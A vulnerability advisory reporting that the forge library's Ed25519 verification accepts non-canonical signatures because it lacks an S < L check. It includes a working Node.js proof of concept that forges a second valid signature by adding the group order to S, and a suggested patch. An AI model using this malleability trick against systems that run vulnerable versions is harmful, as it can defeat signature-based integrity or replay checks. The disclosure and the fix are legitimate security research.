Forge has signature forgery in Ed25519 due to missing S > L check

{
	"forge": {
		"original_valid": true,
		"tweaked_valid": true
	},
	"crypto": {
		"original_valid": true,
		"tweaked_valid": false
	}
}

Proof of Concept

Overview:

• Demonstrates a valid control signature and a forged (S + L) signature in one run.
• Uses Node/OpenSSL as a differential verification baseline.
• Observed output on tested commit:

{
    "forge": {
        "original_valid": true,
        "tweaked_valid": true
    },
    "crypto": {
        "original_valid": true,
        "tweaked_valid": false
    }
}

#!/usr/bin/env node
'use strict';

const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
    throw new Error('signature must be a 64-byte Buffer');
  }
  const out = Buffer.from(signature);
  let carry = 0;
  for (let i = 0; i < 32; i++) {
    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
    out[idx] = sum & 0xff;
    carry = sum >> 8;
  }
  return { sig: out, carry };
}

function toSpkiPem(publicKeyBytes) {
  if (publicKeyBytes.length !== 32) {
    throw new Error('publicKeyBytes must be 32 bytes');
  }
  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}

function verifyWithCrypto(publicKey, message, signature) {
  try {
    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
    const ok = crypto.verify(null, message, keyObject, signature);
    return { ok };
  } catch (error) {
    return { ok: false, error: error.message };
  }
}

function toResult(label, original, tweaked) {
  return {
    [label]: {
      original_valid: original.ok,
      tweaked_valid: tweaked.ok,
    },
  };
}

function main() {
  const kp = ed.generateKeyPair();
  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
  const tweaked = addLToS(sig);
  const okTweaked = ed.verify({
    message: MESSAGE,
    signature: tweaked.sig,
    publicKey: kp.publicKey,
  });
  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
  const result = {
    ...toResult('forge', { ok }, { ok: okTweaked }),
    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
  };
  console.log(JSON.stringify(result, null, 2));
}

main();

Suggested Patch

Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).

Here is a patch we tested on our end to resolve the issue, though please verify it on your end:

index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
     return -1;
   }

+  if(!_isCanonicalSignatureScalar(sm, 32)) {
+    return -1;
+  }
+
   for(i = 0; i < n; ++i) {
     m[i] = sm[i];
   }
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
   return mlen;
 }

+function _isCanonicalSignatureScalar(bytes, offset) {
+  var i;
+  // Compare little-endian scalar S against group order L and require S < L.
+  for(i = 31; i >= 0; --i) {
+    if(bytes[offset + i] < L[i]) {
+      return true;
+    }
+    if(bytes[offset + i] > L[i]) {
+      return false;
+    }
+  }
+  // S == L is non-canonical.
+  return false;
+}
+
 function modL(r, x) {
   var carry, i, j, k;
   for(i = 63; i >= 32; --i) {

Resources

• RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4

  • Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.